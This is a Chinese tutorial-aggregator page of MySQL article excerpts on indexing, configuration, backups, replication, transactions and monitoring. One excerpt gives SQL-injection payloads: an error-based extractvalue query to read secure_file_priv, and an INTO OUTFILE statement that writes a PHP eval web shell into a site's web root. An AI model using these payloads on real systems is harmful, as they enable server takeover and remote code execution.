MYSQL - 技术教程文章

mysql表的核心元数据【代码】

索引的mysql> show indexes from recordsInRangeTest; +--------------------+------------+--------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ | Table | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment | +----...

Mysql的InnoDB引擎-5.索引(1)【图】

数据结构和算法二分查找法二分查找法也称为折半查找法。其基本思想是:将记录按照有序排列,在查找过程中采用跳跃式方式查找,即先以有序数列的中点进行大小对比,如果小于中心点元素,那么数据在中心点左侧,每次查询数据都将区间缩小一半,知道查询到对应数据。二叉查找树和平衡二叉树二叉树是一个经典的数据结构。具体如下图。 二叉查找树具体如图,左子树的键值总是小于根的键值,右子树的键值总是大于根的键值。因此可以通过...

使用SSH工具连接到MySQL【代码】

在SSH中查看MySQL数据信息 格式为:mysql -h主机地址 -u用户名 -p用户密码 -P端口号例如:mysql -uroot -p123456 -h192.168.1.1 -P3306 --default-character-set=gbk; 可参考 http://blog.csdn.net/wangbofei/article/details/11357181原文:http://www.cnblogs.com/JAYIT/p/5016873.html

基于centos的mysql学习补充一【代码】

导出mysql数据库中的某个数据库的sql脚本--也就是说将该数据库的结构和数据导入到一个sql脚本中,之后可以通过该sql脚本恢复该数据库。mysqldump -u mysql(用户名:mysql) -pmysql(密码:mysql) p2pserver(数据库名:p2pserver) > p2pserver.sql(脚本名:p2pserver.sql)如果需要导出全部的数据库脚本<pre name="code" class="plain"><pre name="code" class="cpp">mysqldump -u mysql(用户名:mysql) -pmysql(密码:mysql) -A > p2pserve...

EF +MYSQL 配置【代码】【图】

<?xml version="1.0" encoding="utf-8"?> <!--有关如何配置 ASP.NET 应用程序的详细信息,请访问http://go.microsoft.com/fwlink/?LinkId=169433--> <configuration><configSections><!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 --><section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramewo...

修改mysql   默认字符集 , 默认引擎

cd /var/lib/mysql/gamell vim db.optdefault-character-set=utf8default-collation=utf8_general_ciwq service mysqld restart或者service mysqld reload默认字符集修改完毕vim /etc/my.cnf[mysqld]datadir=/var/lib/mysqlsocket=/var/lib/mysql/mysql.sockuser=mysqldefault-storage-engine=innodb #添加该行 设置默认引擎为 innodbservice mysqld restart 默认引擎修改完毕mysql> show engines; #查看搜索引擎建表时指定搜索引...

Windows 下安装mysql【代码】

?Windows 下安装mysql1.配置环境变量将安装目录添加到系统路径我的电脑->属性->高级->环境变量->path2.修改my.ini??位于解压安装目录下在其中修改或添加配置:[mysqld] port=3306basedir=E:\Develop\mysql????????#?目录路径不能错 datadir=E:\Develop\mysql\data??????#?创建好 max_connections=200max_connect_errors=10character-set-server=utf8 default-storage-engine=INNODB #?默认使用“mysql_native_password”插件认证 d...

如何完全卸载 mysql 数据库【图】

有时候MySQL不能完全卸载,这时候必须通过一些途径删除掉注册表和一些残余的文件,然后才能重新安装才可以成功! 1.控制面板——》所有控制面板项——》程序和功能,卸载mysql server! 2.然后删除mysql安装目录下文件夹下的my.ini文件及所有文件 3.打开注册表 4.删除HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL文件夹 5.删除HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Appl...

Mysql基础2

清空一个表,自增id从1开始truncate table 表名;查询 select 列名 from 表名 where 条件 order by 列名 [desc|asc] limit 跳过条数,查多少条 AS 别名 列名 as 新列名 注意as可以省掉不写 NULL值查询 select * from table1 where 字段 is null; 组合列 select concat(‘No.‘,id) from stu; 去重复 select distinct 列名 from 表名; 注意:列名,只能跟一个 排序 select * from 表名 order by 列名1 asc,列名2 desc; ...

MySql 获取数据表中随机一条数据【代码】

通过sql语句获取数据表中的随意一条数据-- rand() 获取0到1之间的随机浮点数 -- ((select max(id) from test) - (select min(id) from test)) * rand() 获取到随机数 -- + (select min(id) from test) 保证id为 最小ID与最大ID之间的数select * from test where id >= ((select max(id) from test) - (select min(id) from test)) * rand() + (select min(id) from test) limit 1;-- 或者select * from test where id >= ((select ...

MySQL登陆退出【代码】

单实例登陆MySQL:mysql/mysql -uroot 适合刚安装后无密码 mysql -uroot -p 标准登陆的方法 mysql -uroot -p‘password‘ 密码明文会泄露密码,一般用于脚本中,脚本权限root 700 多实例登陆MySQL:mysql -S /data/3307/mysql.sock 适合无密码 mysql –uroot –p111 –S /data/3306/mysql.sock mysql –uroot –p –h 127.0.0.1 –P3306 适合远程登陆修改MySQL提示符的方法:mysql>prompt \u@oldboy \r:\m:\s-> my.cnf配置文件[mys...

MySQL事务【代码】

1. 事务的介绍事务就是用户定义的一系列执行SQL语句的操作, 这些操作要么完全地执行,要么完全地都不执行, 它是一个不可分割的工作执行单元。事务的使用场景:在日常生活中,有时我们需要进行银行转账,这个银行转账操作背后就是需要执行多个SQL语句,假如这些SQL执行到一半突然停电了,那么就会导致这个功能只完成了一半,这种情况是不允许出现,要想解决这个问题就需要通过事务来完成。2. 事务的四大特性原子性(Atomicity)一致性...

MySQL安装

第1章 MySQL安装1.1 安装环境CentOS release 6.9 (Final)iptables: Firewall is not running. MySQL - MySQL服务器。你需要该选项,除非你只想连接运行在另一台机器上的MySQL服务器。MySQL-client - MySQL 客户端程序,用于连接并操作Mysql服务器。MySQL-devel - 库和包含文件,如果你想要编译其它MySQL客户端,例如Perl模块,则需要安装该RPM包。MySQL-shared - 该软件包包含某些语言和应用程序需要动态装载的共享库(libmysqlclie...

查看mysql是否有文件读写权限,sql注入查询secure_file_priv权限【代码】【图】

show VARIABLES like‘%secure%‘sql注入中的使用方法查询secure_file_priv权限 ?id=43 ) and extractvalue(1, concat(0x7e, (select@@global.secure_file_priv),0x7e)) --+( 写shell ?id=43 ) and extractvalue(1, concat(0x7e, (select “<?php @eval($_POST[‘pass‘]);?>” INTO OUTFILE “D:\wwwroot\xxx.com\Runtime\2.php”),0x7e)) --+( 如果不显示需要配置my.ini添加secure_file_priv="" 原文:https://www.cnblogs.com...

tomcat ; nginx ;mysql【代码】【图】

【说明】上午在服务器上部署了自己的web目录(tomcat虚拟目录),下午安装并了解了nginx(出了点问题,后来解决了),晚上尝试nginx和tomcat配置(一头雾水)一:今日完成1)配置tomcat虚拟目录2)部署restful项目3)下载安装nginx4)配置nginx下的default.conf二:明日计划1)完成配置Nginx,使用子域访问2)完成查看Nginx日志,编写脚本统计访问次数,统计响应延时三:疑难问题1)nginx和tomcat的内部请求转发流程是什么?2)负载均...

如何记录MySQL执行过的SQL语句【代码】

很多时候,我们需要知道 MySQL 执行过哪些 SQL 语句,比如 MySQL 被注入后,需要知道造成什么伤害等等。只要有 SQL 语句的记录,就能知道情况并作出对策。服务器是可以开启 MySQL 的 SQL 语句记录功能,从而就能间接地检测到客户端程序的行为。涞水县梁以纸业开启方法很简单:编辑/etc/my.cnf文件,在[mysqld]节下面添加:log=/var/lib/mysql/sql_row.log行(日志的路径自己根据需要定义)。[mysqld] datadir=/var/lib/mysql socke...

Mysql实现主从复制(一主双从)【图】

一、环境介绍LNMP(centos7,mysql5.6)vmware workstation pro配置了3个虚拟机,均安装了LNMP环境:master: 192.168.0.105 slave: 192.168.0.106 、192.168.0.107 二、原理(1)主数据库进行增删改操作后,相应操作记录的语句(比如 create database test)会记录到binlog日志文件中(binlog日志文件一般和数据库data文件夹在一起)。(2)从数据库会请求主数据库的binlog日志文件,获取到新的操作语句,然后在自己的...

mysql.cnf配置文件详解

Mysql参数优化对于运维来讲,是比较重要的东西,其实这个参数优化,是个很复杂的东西,对于不同的业务系统、网络情况、以及机器硬件配置都有关系,优化不可能一次性完成,需要不断的观察以及调试,才有可能得到最佳效果。mysql.cnf配置文件内容如下:[client]port = 3306socket = /mysql/data/3306/mysql.sock[mysqld]port = 3306socket = /mysql/data/3306/mysql.sockbasedir = /mysql/app/mysqldatadir = /mysql/data/3306/mysql...

MySQL查询优化处理

查询的生命周期的下一步是将一个sql转化成一个执行计划,MySQL再依照这个执行计划和存储引擎进行交互。这包括多个子阶段:解析sql,预处理,优化sql执行计划。这个过程中任何错误(例如语法错误)都可能终止查询。这里不打算详细介绍MySQL内部实现,而只是选择性的介绍其中几个独立的部分,在实际中,这几部分可能以前执行也可能单独执行。我们的目的是帮助大家理解MySQL是如何执行查询的,以便写出更优秀的查询。·  语法解析器和...

linux mysql 安装与操作

复制代码 代码如下:groupadd mysql //建立mysql用户组   useradd -g mysql mysql //建立mysql帐户   tar -zxvf mysql-x.x.xx.tar.gz //解压缩mysql   cd mysql-5.0.45 //进入解压好的mysql目录   ./configure –prefix=/usr/local/mysql –with-charset=utf8 –with-collation=utf8_general_ci –with-extra-charsets=latin1 //设置参数   make   make install //开始安装   cp support-files/my-medium.cnf /etc/my...

Mysql实现企业级主从复制和互为主从模式架构【图】

在实现mysql的多种模式前提下,首先先介绍一下mysql是如何工作的。 大概网络拓扑图如下: 1、该过程的第一部分就是master记录二进制日志。在每个事务更新数据完成之前,master在二进制日志记录这些改变。MySQL将事务串行的写入二进制日志,在事件写入二进制日志完成后,master通知存储引擎提交事务。此后可接收slave的请求。 2、下一步就是slave将master的binary log拷贝到它自己的中继日志。首先,slave开始一个工作线程——...

在C#的控制台应用中使用Dapper链接MySQL并执行一些增删改查【代码】【图】

一、首先先创建一个C#的控制台应用 二、然后添加上必要的命名空间using System;using System.Collections.Generic;using MySql.Data.MySqlClient;using System.Data;using Dapper;using System.Linq; 三、首先配置好一个数据库中存在的类表:class Info{publicint action_id { get; set; }publicint parent_id { get; set; }publicstring action_code { get; set; }publicstring relevance { get; set; }} 四、添加Dapper和MYSQL的...

PHP访问MYSQL数据库封装类(附函数说明)

复制代码 代码如下:<?php /* MYSQL 数据库访问封装类 MYSQL 数据访问方式,php4支持以mysql_开头的过程访问方式,php5开始支持以mysqli_开头的过程和mysqli面向对象 访问方式,本封装类以mysql_封装 数据访问的一般流程: 1,连接数据库 mysql_connect or mysql_pconnect 2,选择数据库 mysql_select_db 3,执行SQL查询 mysql_query 4,处理返回的数据 mysql_fetch_array mysql_num_rows mysql_fetch_assoc mysql_fetch_row etc */ cla...

mysqlslap性能测试工具

常用参数–concurrency #代表并发数量,多个可以用逗号隔开。例如:–concurrency=50,200,500–engines #代表要测试的引擎,可以有多个,用分隔符隔开。例如:–engines=myisam,innodb,memory–iterations #代表要在不同并发环境下,各自运行测试多少次。–auto-generate-sql #代表用mysqlslap工具自己生成的SQL脚本来测试并发压力。–auto-generate-sql-add-auto-increment #代表对生成的表自动添加auto_increment列,从5.1.18版本...

MySQL插入emoji表情报错 SQLException: Incorrect string value 的两种解决方案【代码】

摘抄自:https://blog.csdn.net/dmw412724/article/details/81119325 原因:mysql的UTF-8只支持三个字节的存储,而一般字符是三个字节,但是emoji表情是4个字节,所以存储不了。第一种方案:修改数据库表字符集  而mysql为了解决这个问题,在5.5.3版本之后转而支持了存储4个字节的utf8字符,字符集为utf8mb4.这个相当于windowsX64和windowsX86的区别,64位是兼容32位的,也就是说utf8mb4存取utf8都是没有问题的。  那么在有表情...

Mysql:约束

概念: 对表中的数据进行限定,保证数据的正确性、有效性和完整性。 分类:   1. 主键约束:primary key   2. 非空约束:not null   3. 唯一约束:unique   4. 外键约束:foreign key非空约束:not null,某一列的值不能为null   1. 创建表时添加约束     CREATE TABLE stu(       id INT,       NAME VARCHAR(20) NOT NULL -- name为非空     );   2. 创建表完后,添加非空约束     AL...

解决mysql中limit和in不能同时使用的问题【代码】

先给出数据表CREATETABLE `test_tb_grade` (`ID` int(10) NOTNULL AUTO_INCREMENT,`USER_NAME` varchar(20) DEFAULTNULL,`COURSE` varchar(20) DEFAULTNULL,`SCORE` floatDEFAULT‘0‘,PRIMARYKEY (`ID`) ) ENGINE=InnoDB AUTO_INCREMENT=28DEFAULT CHARSET=utf8对应的语句insertinto `test_tb_grade`(`ID`,`USER_NAME`,`COURSE`,`SCORE`) values (19,‘张三‘,‘语文‘,34),(20,‘张三‘,‘数学‘,58),(21,‘张三‘,‘英语‘,58),...

Mysql数据库高可用

Mysql数据库高可用Mysql(5.7.19)+keepalive(1.3.0) +RHEL6.5Mysql下载地址https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.19-linux-glibc2.12-x86_64.tar.gzKeepalived地址http://www.keepalived.org/software/keepalived-1.3.0.tar.gz规划如下ip端口备注Mysql1172.25.254.1203306Mysql2172.25.254.1303306keepalived172.25.254.111 一:首先搭建主主数据库拷贝压缩包到系统/mnt下cd /mnt/tar xvf mysql-5.7.19-linux-gl...

MySQL基础知识

清屏:cls启动MySQL:net start mysql 关闭MySQL:net stop mysql 登录: mysql -uroot -p 退出:  mysql>exit; mysql>quit; mysql>\p; 显示当前服务器版本 :SELECT VERSION();显示当前时间 :SELECT NOW();显示当前用户 :SELECT USER(); SQL Server默认的端口号是:1433Orcal默认的端口号是:1521MySQL默认的端口号是:3306MySQL超级用户是:root创建数据库:CREATE DATABASE修改数据库:ALTER DATABASE删除数据...

Zabbix监控mysql主从

1)判断Mysql主从是否正常,是通过主从上面的SQL和IO线程都为yes状态判断(通过awk取值,grep过滤和统计yes的个数,如果为2则为正常值),随后我们取值得脚本或者命令写入zabbix-agent端的配置文件中的“Userparamenter”,格式 为:Userparamenter [自定义 键值] ,[脚本或者命令参数]。2)我们需要自己定义添加监控mysql主从的模板和item监控项,创建监控项和图形都是可以的3)创建完成之后,我们可以为zabbix主从状态定义监控报警...